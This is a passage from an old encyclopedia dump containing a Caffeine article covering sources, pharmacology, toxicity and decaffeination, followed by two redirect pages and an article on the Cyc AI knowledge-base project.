&lt;!-- | solubility info on other solvents --&gt;
&lt;!-- |- --&gt;
| [[Melting point]]
| 234 - 236.5 °C
|-
| [[Boiling point]]
| 178 °C (sublimes)
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;) 
| 10.4
|-
! {{chembox header}} | Hazards &lt;!--  Summary only- MSDS entry provides more complete information --&gt;
|-
| [[Material safety data sheet|MSDS]]
| [http://www.sciencestuff.com/msds/C1410.html External MSDS]
|-
| Main [[Worker safety and health|hazard]]s
| May be fatal if inhaled, swallowed&lt;br/&gt;or absorbed through the skin.
|-
| [[NFPA 704]]
| {{nfpa|2|1|0}}
|-
| [[Flash point]]
| N/A
|-
| [[RTECS]] number
| EV6475000
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25 &amp;deg;C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}
'''Caffeine''', sometimes called '''theine''' when found in tea, is a [[xanthine]] [[alkaloid]] found in the leaves and beans of the [[coffee]] tree, in [[tea]], [[yerba mate]], [[guarana]] berries, and in small quantities in [[cocoa]], the [[kola nut]] and the [[Yaupon holly]]. In plants, caffeine acts as a natural [[pesticide]] that paralyzes and kills many [[insect]]s feeding upon them.

Caffeine is a [[central nervous system]] (CNS) [[stimulant]], having the effect of warding off drowsiness and restoring alertness. Caffeine-containing beverages, such as [[coffee]] and [[tea]], enjoy great popularity, making caffeine the world's most popular [[psychoactive]] substance. 

== Sources of caffeine ==
[[Image:A small cup of coffee.JPG|200px|left|thumb|Caffeine is the most widely used psychoactive substance in the world.]]
Caffeine is a plant alkaloid, found in numerous plant varieties, the most commonly used of which are [[coffee]], [[tea]], and to some extent [[cocoa]]. Other, less commonly used, sources of caffeine include the plants [[yerba mate]] and [[guaraná]], which are sometimes used in the preparation of teas and, more recently, energy drinks. Two of caffeine's alternative names, ''mateine'' and ''guaranine'', are derived from the names of these plants.

The world's primary source of caffeine is the [[coffee bean|bean]] of the [[Coffea|coffee plant]], from which [[coffee]] is brewed. Caffeine content in coffee varies widely depending on the variety of coffee bean and the method of preparation used, but in general one serving of coffee ranges from about 40 mg for a single [[shot]] of [[espresso]] to about 100 mg for strong drip coffee. Generally, dark roast coffee has less caffeine than lighter roasts since the roasting process reduces caffeine content of the bean. [[Arabica]] coffee normally contains less caffeine content than the [[Robusta]] variety.

[[Tea]] is another common source of caffeine in many cultures. Tea generally contains somewhat less caffeine per serving than coffee, usually about half as much, depending on the strength of the brew, though certain types of tea, such as [[black tea|black]] and [[oolong]], contain somewhat more caffeine than most other teas.

Caffeine is also a common ingredient of [[soft drink|soft drinks]] such as [[cola]], originally prepared from [[kola nut]]s. Soft drinks typically contain about 10 mg to 50 mg of caffeine per serving. By contrast, [[energy drink]]s such as [[Red Bull]] contain as much as 80 mg of caffeine per serving. The caffeine in these drinks originates either from the ingredients used or is an additive derived from the product of [[decaffeination]] or chemical synthesis.

[[Chocolate]] derived from [[cocoa]] is a weak stimulant, mostly due to its content of [[theobromine]] and [[theophylline]], but it also contains a small amount of caffeine [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15549276]. However, chocolate contains too little of these compounds for a reasonable serving to create effects in humans that are on par with [[coffee]].

Finally, caffeine may also be purchased in most areas in the form of a pill that containing from 50 mg to 200 mg. Caffeine pills are regulated differently among various nations. For example, the [[European Union]] requires that a warning be placed on the packaging of any food whose caffeine exceeds 150 mg per litre. In many other countries, however, caffeine is classified as a [[flavouring]] and is unregulated. &lt;!-- This needs to be fleshed out considerably --&gt;

===Caffeine equivalents===
In general, each of the following contains approximately 200 [[mg]] of caffeine:
* ''One'' 200 mg caffeine pill (in some countries these are 100 mg, in the UK these are 50 mg)
* ''Two'' 1-[[fluid ounce]] shots of [[espresso]] from [[robusta]] beans (2 fluid ounces (0,59 dl) total) 
* ''Two'' 8-fluid ounce containers of regular [[coffee]] (16 fluid ounces (4.73 dl) total)
* ''Five'' 8-fluid ounce cups of [[black tea]] (40 fluid ounces (1.18 l) total)
* ''Five'' 12-fluid ounce cans of [[soda]] (60 fluid ounces total (1.77 l), although these can vary widely in content)
* ''Ten'' 8-fluid ounce cups of [[green tea]] (80 fluid ounces (2.36 l) total)
* ''One and a half'' [[Pound (mass)|pound]]s (0,68kg total) of [[milk chocolate]]
* ''Fifty'' 8-fluid ounce cups of [[decaf]]feinated coffee (400 fluid ounces (11.82 l) total)

Note: Caffeine content is highly unpredictable in coffee and tea drinks, especially in tea.  Preparation has a huge impact on tea, and colour is a very poor judge of caffeine content.  Teas like the green Japanese [[Gyokuro]] contain far more caffeine than much darker teas like [[Lapsang Souchong]], which has very little.  Even approximate caffeine contents assigned to teas are generally at best a very inaccurate guess.

==History of caffeine use==
Although [[tea]] has been consumed in [[China]] for thousands of years, the first documented use of caffeine in a beverage for its [[pharmacology|pharmacological]] effect was in the 15th century by the [[sufism|Sufis]] of [[Yemen]], who used [[coffee]] to stay awake during prayers. In the 16th century there were [[coffee house]]s in [[Istanbul]], [[Cairo]] and [[Mecca]], and in the 17th century coffee houses opened for the first time in Europe.

In 1819, relatively pure caffeine was isolated for the first time by the [[Germany|German]] chemist [[Friedrich Ferdinand Runge]]. According to the legend, he did this at the instigation of [[Johann Wolfgang von Goethe]] (Weinberg &amp; Bealer 2001).

==Effects of caffeine==
[[Image:Caffeinated spiderwebs.jpg|frame|right|Caffeine has a significant effect on [[spider]]s, which is reflected in their [[spider web|web]] construction.]]
Caffeine is a [[central nervous system]] stimulant, and is used both recreationally and medically to restore mental alertness when unusual weakness or drowsiness occurs. It is important to note, however, that caffeine cannot replace sleep, and should be used only occasionally as an alertness aid.

Caffeine is sometimes administered in combination with medicines to increase their effectiveness, such as with [[ergotamine]] in the treatment of [[migraine]] and [[cluster headaches]], or with certain pain relievers such as [[aspirin]] or [[acetaminophen]]. Caffeine may also be used to overcome the drowsiness caused by [[antihistamine]]s. Breathing problems ([[apnea]]) in [[premature]] infants are sometimes treated with [[citrate]]d caffeine, which is available only by [[prescription]] in many countries.

While relatively safe for humans, caffeine is considerably more toxic to some other animals such as dogs, horses and parrots due to a much poorer ability to metabolize this compound. Caffeine has a much more significant effect on [[spiders]], for example, than most other drugs do.  {{fn|(1)}}

===Caffeine metabolism===
Caffeine is completely absorbed by the stomach and small intestine within 45 minutes of ingestion. It is widely distributed in total body water and is eliminated by apparent first-order kinetics that can be described by a one-compartment open-model system. Continued consumption of caffeine can lead to [[Drug_tolerance|tolerance]]. Upon withdrawal, the body becomes oversensitive to [[adenosine]], causing the blood pressure to drop dramatically, which causes headaches and other symptoms. 

Caffeine is metabolized in the [[liver]] by the [[cytochrome P450 oxidase]] enzyme system into three [[metabolism|metabolic]] [[xanthine|dimethylxanthines]], which each have their own effects on the body:
* [[Paraxanthine]] (84%) &amp;ndash; Has the effect of increasing [[lipolysis]], leading to elevated [[glycerol]] and free [[fatty acid]] levels in the [[blood plasma]].
* [[Theobromine]] (12%) &amp;ndash; Dilates [[blood vessel]]s and increases [[urine]] volume. Theobromine is also the principal alkaloid in [[cocoa]], and therefore [[chocolate]].
* [[Theophylline]] (4%) &amp;ndash;  Relaxes [[smooth muscle]]s of the [[bronchus|bronchi]], and is used to treat [[asthma]]. The therapeutic dose of theophylline, however, is many times greater than the levels attained from caffeine metabolism.

Each of these metabolites is further metabolised and then excreted in the urine.

===Mechanism of Action===
The caffeine molecule is structurally similar to [[adenosine]], and binds to adenosine receptors on the surface of cells without activating them. This effect, called [[competitive inhibition]], interrupts a pathway that normally serves to regulate nerve conduction by suppressing post-synaptic potentials. The result is an increase in the levels of [[epinephrine]] (adrenaline) and [[norepinephrine]] released from the [[pituitary gland]] [http://pharmrev.aspetjournals.org/cgi/content/full/51/1/83]. Epinephrine, the natural [[endocrine system|endocrine]] response to a perceived threat, stimulates the [[sympathetic nervous system]], leading to an increased heart rate, [[blood pressure]] and [[blood]] flow to [[muscle]]s, a decreased blood flow to the [[skin]] and inner [[Organ (anatomy)|organ]]s and a release of [[glucose]] by the [[liver]].

Caffeine is also a known competitive inhibitor of the enzyme [[phosphodiesterase|cAMP-phosphodiesterase]] (cAMP-PDE), which converts [[cAMP|cyclic AMP]] (cAMP) in cells to its noncyclic form, allowing cAMP to build up in cells. Cyclic AMP participates in the messaging cascade produced by cells in response to stimulation by epinephrine, so by blocking its removal caffeine intensifies and prolongs the effects of [[epinephrine]] and epinephrine-like drugs such as [[amphetamine]], [[methamphetamine]], or [[methylphenidate]].

The metabolites of caffeine contribute to caffeine's effects. [[Theobromine]], is a [[vasodilation|vasodilator]] that increases the amount of oxygen and nutrient flow to the brain and muscles. [[Theophylline]], the second of the three primary metabolites, acts as a smooth [[muscle relaxant]] that chiefly affects [[bronchioles]] and acts as a [[chronotrope]] and [[inotrope]] that increases heart rate and efficiency. The third metabolic derivative, [[paraxanthine]], is responsible for an increase in the [[lipolysis]] process, which releases [[glycerol]] and [[fatty acids]] into the blood to be used as a source of fuel by the muscles (Dews et al. 1984).

With these effects, caffeine is an [[ergogenic]], increasing the capacity for mental or physical labor. A study conducted in [[1979]] showed a 7% increase in distance cycled over a period of two hours in subjects who consumed caffeine compared to control tests (Ivy et al. 1979). Other studies attained much more dramatic results; one particular study of trained runners showed a 44% increase in &quot;race-pace&quot; endurance, as well as a 51% increase in cycling endurance, after a dosage of 9 milligrams of caffeine per kilogram of body weight (Graham &amp; Spriet 1991). The extensive boost shown in the runners is not an isolated case; additional studies have reported similar effects. Another study found 5.5 milligrams of caffeine per kilogram of body mass resulted in subjects cycling 29% longer during high intensity circuits (Trice &amp; Hayes 1995).

=== Side effects of caffeine ===
The minimum lethal dose of caffeines ever reported is 3,200 mg, administered intravenously. The [[LD50|LD]]&lt;sub&gt;50&lt;/sub&gt; of caffeine is estimated between 13 and 19 grams for oral administration for an average adult. The LD&lt;sub&gt;50&lt;/sub&gt; of caffeine is dependent on weight and individual sensitivity and estimated to be about 150 to 200 mg per kg of body mass, roughly 140 to 180 cups of coffee for an average adult taken within a limited timeframe that is dependent on [[Half-life#Half-life_in_chemistry|half-life]]. The half-life, or time it takes for the amount of caffeine in the blood to decrease by 50%, ranges from 3.5 to 10 hours. In adults the half-life is generally around 5 hours. However, contraceptive pills increase this to around 12 hours, and, for women over 3 months pregnant, it varies from 10 to 18 hours. In infants and young children, the half-life may be longer than in adults. With common coffee and a very rare half-life of 100 hours, it would require 3 cups of coffee every hour for 100 hours just to reach LD&lt;sub&gt;50&lt;/sub&gt;. Though achieving lethal dose with coffee would be exceptionally difficult, there have been many reported deaths from intentional overdosing on caffeine pills.

Too much caffeine, especially over an extended period of time, can lead to a number of physical and mental conditions. The ''Diagnostic and Statistical Manual of Mental Disorders, Fourth Edition ([[DSM-IV]])'' states: &quot;The 4 caffeine-induced psychiatric disorders include ''caffeine intoxication'', ''caffeine-induced anxiety disorder'', ''caffeine-induced sleep disorder'', and ''caffeine-related disorder not otherwise specified (NOS)''.&quot; 

An overdose of caffeine can result in a state termed ''caffeine intoxication'' or ''caffeine poisoning''. Its symptoms are both physiological and psychological. Symptoms of caffeine intoxication include: restlessness, nervousness, excitement, [[insomnia]], flushed face, [[diuresis]], [[muscle twitching]], rambling flow of [[thought]] and [[speech]], paranoia, [[cardiac arrhythmia]] or [[tachycardia]], and [[psychomotor agitation]], [[gastroenterology|gastrointestinal]] complaints, [[hypertension|increased blood pressure]], [[tachycardia|rapid pulse]], [[vasoconstriction]] (tightening or constricting of superficial blood vessels) sometimes resulting in cold hands or fingers, increased amounts of [[fatty acid]]s in the blood, and an increased production of [[gastric acid]]. In extreme cases [[mania]], [[depression]], lapses in judgment, [[disorientation]], loss of social inhibition, [[delusions]], [[hallucinations]] and [[psychosis]] may occur. [http://www.nlm.nih.gov/medlineplus/ency/article/002579.htm]

It is commonly assumed that only a small proportion of people exposed to caffeine develop symptoms of caffeine intoxication. However, because it mimics organic mental disorders, such as [[panic disorder]], [[generalized anxiety disorder]], [[bipolar disorder]], and [[schizophrenia]], a growing number of medical professionals believe caffeine-intoxicated people are routinely misdiagnosed and unnecessarily medicated. Shannon ''et al'' (1998) point out that: 

:&quot;Caffeine-induced psychosis, whether it be delirium, manic depression, schizophrenia, or merely an anxiety syndrome, in most cases will be hard to differentiate from other organic or non-organic psychoses....The treatment for caffeine-induced psychosis is to withhold further caffeine.&quot; A study in the ''British Journal of Addiction'' declared that &quot;although infrequently diagnosed, caffeinism is thought to afflict as many as one person in ten of the population&quot; (JE James and KP Stirling, 1983). 

Because caffeine increases the production of stomach acid, high usage over time can lead to [[peptic ulcer]]s, erosive [[esophagitis]], and [[gastroesophageal reflux disease]].{{citeneeded}} Furthermore, it can also lead to nervousness, irritability, anxiety, [[Tremor|tremulousness]], muscle twitching, [[insomnia]], [[heart palpitation]]s and [[hyperreflexia]] [http://www.coffeefaq.com/caffaq.html#CaffeineAndHealth].

=== Withdrawal ===
Individuals who consume caffeine regularly develop a reduction in sensitivity to caffeine; when such individuals reduce their caffeine intake, their body becomes oversensitive to [[adenosine]], with the result that blood pressure drops dramatically, leading to an excess of blood in the head (though not necessarily on the brain), causing a [[headache]]. Other symptoms may include nausea, fatigue, drowsiness, anxiety and irritability; in extreme cases symptoms may include depression, inability to concentrate and diminished motivation to initiate or to complete daily tasks at home or at work. 

[[Withdrawal]] symptoms may appear within 12 to 24 hours after discontinuation of caffeine intake, peak at roughly 48 hours, and usually lasts from one to five days. [[Analgesic]]s, such as [[aspirin]], can relieve the pain symptoms, as can a small dose of caffeine.

===Effects on fetuses and newborn children===
There is some evidence that caffeine may be dangerous for fetuses and newborn children. In animal studies, caffeine intake during pregnancy has been demonstrated to have [[teratogenic]] effects and increase the risk of learning problems and hyperactivity in [[rat]]s and [[mouse|mice]], respectively. The applicability of these results to human infants is disputed since the concentrations involved were high and [[rodent]]s are more susceptible to most mutagens. In a [[1985]] study conducted by scientists of [[Carleton University]], [[Canada]], children born by mothers who had consumed more than 300 mg/d caffeine (about 3 cups of coffee or 6 cups of tea) were found to have, on the average, lower birth weight and head circumference than the children of mothers who had consumed little or no caffeine. In addition, use of large amounts of caffeine by the mother during pregnancy may cause problems with the heart rhythm of the fetus. For these reasons, some doctors recommend that women largely discontinue caffeine consumption during pregnancy and possibly also after birth until the newborn child is weaned.

The negative effects of caffeine on the developing fetus can be attributed to the ability of caffeine to inhibit two DNA damage response proteins known as Ataxia-Telangeictasia Mutated (ATM) or ATM-Rad50 Related (ATR). These proteins control much of the cells ability to stop cell cycle in the presence of DNA damage, such as DNA single/double strand breaks and nucleotide dimerization. DNA damage can occur relatively frequently in actively dividing cells, such as those in the developing fetus. Caffeine is used in laboratory setting as an inhibitor to these proteins and it has been shown in a study by Lawson et al. in 2004, that women who use caffeine during pregnancy have a higher likelihood of miscarriage than those who do not. Since the dosage rate of self-administration is difficult to control and the effects of caffeine on the fetus are related to random occurrence (DNA damage), a minimal toxic dose to the fetus has yet to be established.

== Caffeine pills ==
&lt;!-- Section needs work, or even total elimination if it cannot be improved --&gt;
Caffeine pills are often used by college students and [[Shift_work|shift]] workers as a convenient way to fight sleep, and are often considered harmless. However, like any medication, caffeine can be harmful or deadly in [[#Side_effects_of_caffeine|sufficient quantities]]. Due to the [[#Caffeine_equivalents|amount]] of caffeine present in standard pills, it is possible to consume a dangerous amount of caffeine in this form.

Periodically, caffeine pills come under media fire in connection with the death of a college student due to a large [[overdose]] of caffeine. One example is the death of a [[North Carolina]] student, Jason Allen, who swallowed most of a bottle of 90 such pills [http://www.collegepublisher.com/media/paper87/DFPArchive/science/1103981.html], equivalent of about 250 cups of [[coffee]]. A few other deaths by caffeine overdose have been known, almost always in the case of massive pill consumption.

==Extraction of pure caffeine==
[[Image: Caffeine_USP.jpg |thumb|250px|right| [[Anhydrous]] (dry) USP grade Caffeine]]
It is very difficult to know the exact amount of caffeine in a particular drink that is not automatically prepared. The amount of caffeine in a single serving of coffee varies considerably due to many variables. Concentration can vary from bean to bean within a given bush; preparation of the raw bean will affect concentration, as well as multiple variables involved in brewing.

Caffeine extraction is an important industrial process and can be performed using a number of different solvents. [[Benzene]], [[chloroform]], [[trichloroethylene]] and [[dichloromethane]] have all been used over the years but for reasons of safety, environmental impact, cost and flavour, they have been superceded by two main methods:

===Water extraction of caffeine===
Coffee beans are soaked in water. The water - which contains not only caffeine but also many other compounds which contribute to the flavour of coffee - is then passed through activated charcoal, which removes the caffeine. The water can then be put back with the beans and evaporated dry, leaving decaffeinated coffee with a good flavor. Coffee manufacturers recover the caffeine and resell it for use in soft drinks and medicines. 

===Supercritical carbon dioxide extraction of caffeine===
[[Supercritical carbon dioxide]] is an excellent nonpolar solvent for caffeine (as well as for many other organic compounds) but is safer than the organic solvents that are used for caffeine extraction. The extraction process is simple: CO&lt;sub&gt;2&lt;/sub&gt; is forced through the green coffee beans at temperatures above 31.1°C and pressures above 73 [[Atmosphere|atm]]. Under these conditions, CO&lt;sub&gt;2&lt;/sub&gt; is said to be in a &quot;[[Supercritical fluid|supercritical]]&quot; [[Phase (matter)|state]]: it has gaslike properties which allow it to penetrate deep into the beans but also liquid-like properties which dissolve 97-99% of the caffeine. The caffeine-laden CO&lt;sub&gt;2&lt;/sub&gt; is then sprayed with high pressure water to remove the caffeine. The caffeine can then be isolated by [[Activated carbon|charcoal adsorption]] (as above) or by [[distillation]], [[recrystallization]], or [[Reverse osmosis|reverse osmosis]].

==References==
* Weinberg BA, Bealer BK. ''The world of caffeine''. New York &amp; London: Routledge, 2001. ISBN 0-415-92722-6.
* {{fnb|(1)}} Noever, R., J. Cronise, and R. A. Relwani. [[1995]]. Using spider-web patterns to determine toxicity. NASA Tech Briefs 19(4):82. Published in [[New Scientist]] magazine, [[27 April]] 1995.
* JE James and KP Stirling, &quot;Caffeine: A Summary of Some of the Known and Suspected Deleterious Habits of Habitual Use,&quot; ''British Journal of Addiction,'' 1983;78:251-58.
* Hughes JR, McHugh P, Holtzman S. &quot;Caffeine and schizophrenia.&quot; ''Psychiatr Serv'' 1998;49:1415-7. [http://ps.psychiatryonline.org/cgi/content/full/49/11/1415 Fulltext]. PMID 9826240.
* Shannon MW, Haddad LM, Winchester JF. ''Clinical Management of Poisoning and Drug Overdose, 3rd ed.''. 1998. ISBN 0721664091.
* ''[[Diagnostic and Statistical Manual of Mental Disorders]]'' ISBN 0890420610
* Trice, I., and Haymes, E. (1995). &quot;Effects of caffeine ingestion on exercise-induced changes during high intensity, intermittent exercise&quot;. International Journal of Sports Nutrition. 37-44.
* Tarnopolsky, M. A. (1994). &quot;Caffeine and endurance performances&quot;. Sports Medicine (Vol. 18 Ed. 2): 109 – 125.
* Ivy, J., Costill, D., Fink, W. et al. (1979).  &quot;Influence of caffeine and carbohydrate feedings on endurance performance&quot;. Medical Science Sports Journal (Vol. 11). 6-11.
* Dews, P.B. (1984). &quot;Caffeine: Perspectives from Recent Research&quot;. Berlin: Springer-Valerag.

==External links==
{{Wiktionary}}
*[http://www.nlm.nih.gov/medlineplus/druginfo/uspdi/202105.html US National Library of Medicine: MedlinePlus&amp;#174; Drug Information: Caffeine]
*[http://www.erowid.org/chemicals/caffeine/caffeine.shtml Erowid Caffeine Vault]
*[http://chemistry.about.com/od/moleculescompounds/a/caffeine.htm ''Caffeine Chemistry'']
*[http://www.CaffeineAwareness.org Caffeine Awareness Alliance - Sponsor of National Caffeine Awareness Month]
*[http://www.thenakedscientists.com/html/columnists/dalyacolumn2.htm Why do plants make caffeine?]
*[http://www.cspinet.org/new/cafchart.htm Caffeine Content of Foods]
*[http://www.benbest.com/health/caffeine.html Is Caffeine a Health Hazard?]
*[http://www.coffeefaq.com/caffaq.html The Caffeine FAQ]
*[http://www.physsportsmed.com/issues/1997/11nov/caffeine.htm The Physician and Sportsmedicine: Caffeine: A User's Guide]
*[http://www.cspinet.org/nah/caffeine.htm Center for Science in the Public Interest: Caffeine: The Inside Scoop]
*[http://www.cannabis.net/weblife.html Images of webs spun by spiders after eating flies laced with lsd, mescaline, hashish and caffiene]
*[http://www.energyfiend.com/the-caffeine-database/ The Caffeine Database]

===Caffeine as an ergogenic aid===
*[http://www.physsportsmed.com/issues/1998/09sep/hawley.htm The Physician and Sportsmedicine: Fat Burning During Exercise]
*[http://www.physsportsmed.com/issues/1997/04apr/eichner.htm The Physician and Sportsmedicine: Ergogenic Aids: What Athletes Are Using—and Why:]
*[http://www.physsportsmed.com/issues/1997/01jan/schwenk.htm The Physician and Sportsmedicine: Psychoactive Drugs and Athletic Performance]

===Caffeine toxicity===
* [http://www.caffeinedependence.org/caffeine_dependence.html#intoxication%20 Johns Hopkins University Caffeine Dependence Study]
* [http://www.emedicine.com/med/topic3115.htm eMedicine Caffeine-Related Psychiatric Disorders]
* [http://www.druglibrary.org/schaffer/Library/studies/cu/CU21.html The Consumers Union Report on Licit and Illicit Drugs, Caffeine-Part 1] [http://www.druglibrary.org/schaffer/Library/studies/cu/CU22.html Part 2]
* L Tondo and N Rudas, &quot;The course of a seasonal bipolar disorder influenced by caffeine,&quot; ''Journal of Affective Disorders,'' 1991;22 (4):249-251 [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=1939933&amp;dopt=Abstract Abstract]
* DC Mackay and JW Rollins, &quot;Caffeine and caffeinism,&quot; ''Journal of the Royal Naval Medical Service,'' 1989;75(2):65-7. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=2607498&amp;dopt=Abstract Abstract]
* K Gilliland and D Andress, &quot;Ad lib caffeine consumption, symptoms of caffeinism, and academic performance,&quot; ''American Journal of Psychiatry,'' 1981; 138:512-514 [http://ajp.psychiatryonline.org/cgi/content/abstract/138/4/512 Abstract]
* American Psychiatric Association, 158th annual meeting. Abstract #NR45. &quot;First Graders' Behavior Problems Linked to Caffeinated Cola.&quot; [http://www.medpagetoday.com/tbindex.cfm?tbid=1091&amp;topicid=43 Fulltext]
* Whalen R, &quot;Caffeine-Induced Anaphylaxis, A Progressive Toxic Dementia&quot; [http://www.doctoryourself.com/caffeine2.html Fulltext]
* JA Sours, &quot;Case reports of anorexia nervosa and caffeinism,&quot; ''American Journal of Psychiatry,'' 1983; 140:235-236 [http://ajp.psychiatryonline.org/cgi/content/abstract/140/2/235 Abstract]

{{stimulants}}

[[Category:Xanthines]]
[[Category:Coffee]]
[[Category:Caffeine]]

{{Link FA|fr}}

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  </page>
  <page>
    <title>Composers/Polish composers</title>
    <id>6872</id>
    <revision>
      <id>15904986</id>
      <timestamp>2002-12-15T10:11:22Z</timestamp>
      <contributor>
        <username>Lorenzarius</username>
        <id>4308</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List_of_Polish_composers]]</text>
    </revision>
  </page>
  <page>
    <title>Caapi</title>
    <id>6873</id>
    <revision>
      <id>15904987</id>
      <timestamp>2005-04-30T03:02:00Z</timestamp>
      <contributor>
        <username>Heah</username>
        <id>213940</id>
      </contributor>
      <comment>made into a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Banisteriopsis caapi]]</text>
    </revision>
  </page>
  <page>
    <title>Cyc</title>
    <id>6874</id>
    <revision>
      <id>41449530</id>
      <timestamp>2006-02-27T11:24:40Z</timestamp>
      <contributor>
        <ip>167.206.156.241</ip>
      </contributor>
      <comment>/* Criticisms of the Cyc Project */</comment>
      <text xml:space="preserve">'''Cyc''' is an [[List of Artificial Intelligence projects|artificial intelligence project]] that attempts to assemble a comprehensive [[ontology (computer science)|ontology]] and [[database]] of everyday [[common sense]] knowledge, with the goal of enabling [[artificial intelligence|AI]] applications to perform human-like reasoning. 

== Overview==

The project was started in 1984 by [[Douglas Lenat|Doug Lenat]] as part of [[Microelectronics and Computer Technology Corporation]]. The name &quot;Cyc&quot; (from &quot;encyclopedia&quot;, pronounced like ''psych'') is a registered trademark owned by [[Cycorp, Inc.]] in [[Austin, Texas]], a company run by Lenat and devoted to the development of Cyc. The original knowledge base is proprietary, but a smaller version of the knowledge base, intended to establish a common vocabulary for automatic reasoning, was released as OpenCyc under an [[open source]] license. More recently, Cyc has been made available to AI researchers under a research-purposes license as [[ResearchCyc]].

Typical pieces of knowledge represented in the database are &quot;Every tree is a plant&quot; and &quot;Plants die eventually&quot;. When asked whether trees die, the inference engine can draw the obvious conclusion and answer the question correctly. The Knowledge Base (KB) contains over a million human-defined assertions, rules or common sense ideas. These are formulated in the language [[CycL]], which is based on [[predicate calculus]] and has a [[syntax]] similar to that of the [[Lisp programming language]].  CycL users pun that they are &quot;cyclists&quot;.

Much of the current work on the Cyc project continues to be [[knowledge engineering]], representing facts about the world by hand, and implementing efficient inference mechanisms on that knowledge. Increasingly, however, work at Cycorp involves giving the Cyc system the ability to communicate with end users in [[natural language]], and to assist with the [[knowledge formation]] process via [[machine learning]].

== Description of the Knowledge Base, terminology ==

The concept names in Cyc are known as ''constants''. Constants start with &quot;#$&quot; and are case-sensitive. There are constants for:
* Individual items known as ''individuals'', such as #$BillClinton or #$France. 
* ''Collections'', such as #$Tree-ThePlant (containing all trees) or #$EquivalenceRelation (containing all [[equivalence relation]]s). A member of a collection is called an ''instance'' of that collection.
* ''Truth Functions'' which can be applied to one or more other concepts and return either true or false. For example #$siblings is the sibling relationship, true if the two arguments are siblings. By convention, truth function constants start with a lower-case letter.  Truth functions may be broken down into logical connectives (such as #$and, #$or, #$not, #$implies), quantifiers (#$forAll, #$thereExists, etc.) and [[predicate]]s.
* ''Functions'', which produce new terms from given ones. For example, #$FruitFn, when provided with an argument describing a type (or collection) of plants, will return the collection of its fruits. By convention, function constants start with an upper-case letter and end with the string &quot;Fn&quot;. 

The most important predicates are #$isa and #$genls. The first one describes that one item is an [[instance]] of some collection, the second one that one collection is a subcollection of another one. Facts about concepts are asserted using certain CycL ''sentences''. Predicates are written before their arguments, in parentheses:
  (#$isa #$BillClinton #$UnitedStatesPresident)
&quot;Bill Clinton belongs to the collection of U.S. presidents&quot; and
  (#$genls #$Tree-ThePlant #$Plant)
&quot;All trees are plants&quot;.
  (#$capitalCity #$France #$Paris)
&quot;Paris is the capital of France.&quot;

Sentences can also contain variables, strings starting with &quot;?&quot;. These sentences are called &quot;rules&quot;. One important rule asserted about the #$isa predicate reads
 (#$implies
    (#$and   
      (#$isa ?OBJ ?SUBSET)
      (#$genls ?SUBSET ?SUPERSET))
    (#$isa ?OBJ ?SUPERSET))
with the interpretation &quot;if OBJ is an instance of the collection [[subset|SUBSET]] and SUBSET is a subcollection of [[superset|SUPERSET]], then OBJ is an instance of the collection SUPERSET&quot;. Another typical example is
  (#$relationAllExists #$biologicalMother #$ChordataPhylum #$FemaleAnimal)
which means that for every instance of the collection #$ChordataPhylum (i.e. for every [[chordate]]), there exists a female animal (instance of #$FemaleAnimal) which is its mother (described by the predicate #$biologicalMother).

The [[knowledge base]] is divided into ''microtheories'' (Mt), collections of concepts and facts typically pertaining to one particular realm of knowledge. Unlike the knowledge base as a whole, each microtheory is required to be free from contradictions. Each microtheory has a name which is a regular constant; microtheory constants contain the string &quot;Mt&quot; by convention. An example is #$MathMt, the microtheory containing mathematical knowledge. The microtheories can inherit from each other and are organized in a hierarchy:
one specialization of #$MathMt is #$GeometryGMt, the microtheory about geometry.

== OpenCyc ==

The latest version of OpenCyc, 0.9, was released in February 2005.  The knowledge base contains 47,000 concepts and 306,000 facts and can be browsed on the OpenCyc website. The first version of OpenCyc was released in May 2001 and contained only 6,000 concepts and 60,000 facts.  The knowledge base is released under the [[LGPL]]. [[Cycorp]] has stated its intention to release OpenCyc under parallel, unrestricted licences to meet the needs of its users. The [[CycL]] and [[SubL]] interpreter (the program that allows you to browse and edit the database as well as to draw inferences) is released free of charge, but only as a binary, without source code. It is available for [[GNU]]/[[Linux]] and for [[Microsoft Windows|Windows]].

== ResearchCyc ==

Also in February 2005, Cycorp released ResearchCyc 1.0, a gratis (but not free or open source) version of Cyc aimed at the research community. ResearchCyc was in beta stage of development during all of 2004. ResearchCyc is 3 times larger than OpenCyc and includes a large lexicon, [[English (language)|English]] parsing and generation tools, and [[Java programming language|Java]] based interfaces for knowledge editing and querying.

[[Cycorp]] has publicly stated its intention of releasing all of the terms and taxonomic relationships contained in [[ResearchCyc]] as part of OpenCyc. One stated goal is that of providing a completely free and unrestricted semantic vocabulary for use in the [[Semantic Web]]. The OpenCyc taxonomy is available in [[Web Ontology Language|Owl]] on the OpenCyc web site.

== Criticisms of the Cyc Project ==

The Cyc project has been described as &quot;one of the most controversial endeavours of the artificial intelligence history&quot; (Bertino et al, p. 275), so it has inevitably garnered its share of criticism.  These include:

* The complexity of the system - arguably necessitated by its encyclop&amp;aelig;dic ambitions - and the consequent difficulty in adding to the system by hand;  
* Scaleability problems from widespread [[reification]], especially as constants;
* Unsatisfactory treatment of the concept of [[substance]] and the related distinction between intrinsic and extrinsic properties;
* The lack of any meaningful benchmark or comparison for the efficiency of Cyc's inference engine; and
* The current incompleteness of the system in both breadth and depth and the related difficulty in measuring its completeness.

These issues have been debated in various places since the inception of the project; Doug Lenat and others have published many arguments in its defence.

== See also ==
* [[ConceptNet]]
* [[DAML]]
* [[Mindpixel]]
* [[Open Mind Common Sense]]
* [[Semantic Web]]
* [[SHRDLU]]

== References ==
*{{cite book | author=Elisa Bertino, Gian Piero Zarri, Barbara Catania, Gian Pierro Zarri | title=Intelligent Database Systems | publisher=Addison-Wesley Professional | year=2001 | id=ISBN ISBN 0-201-87736-8}}
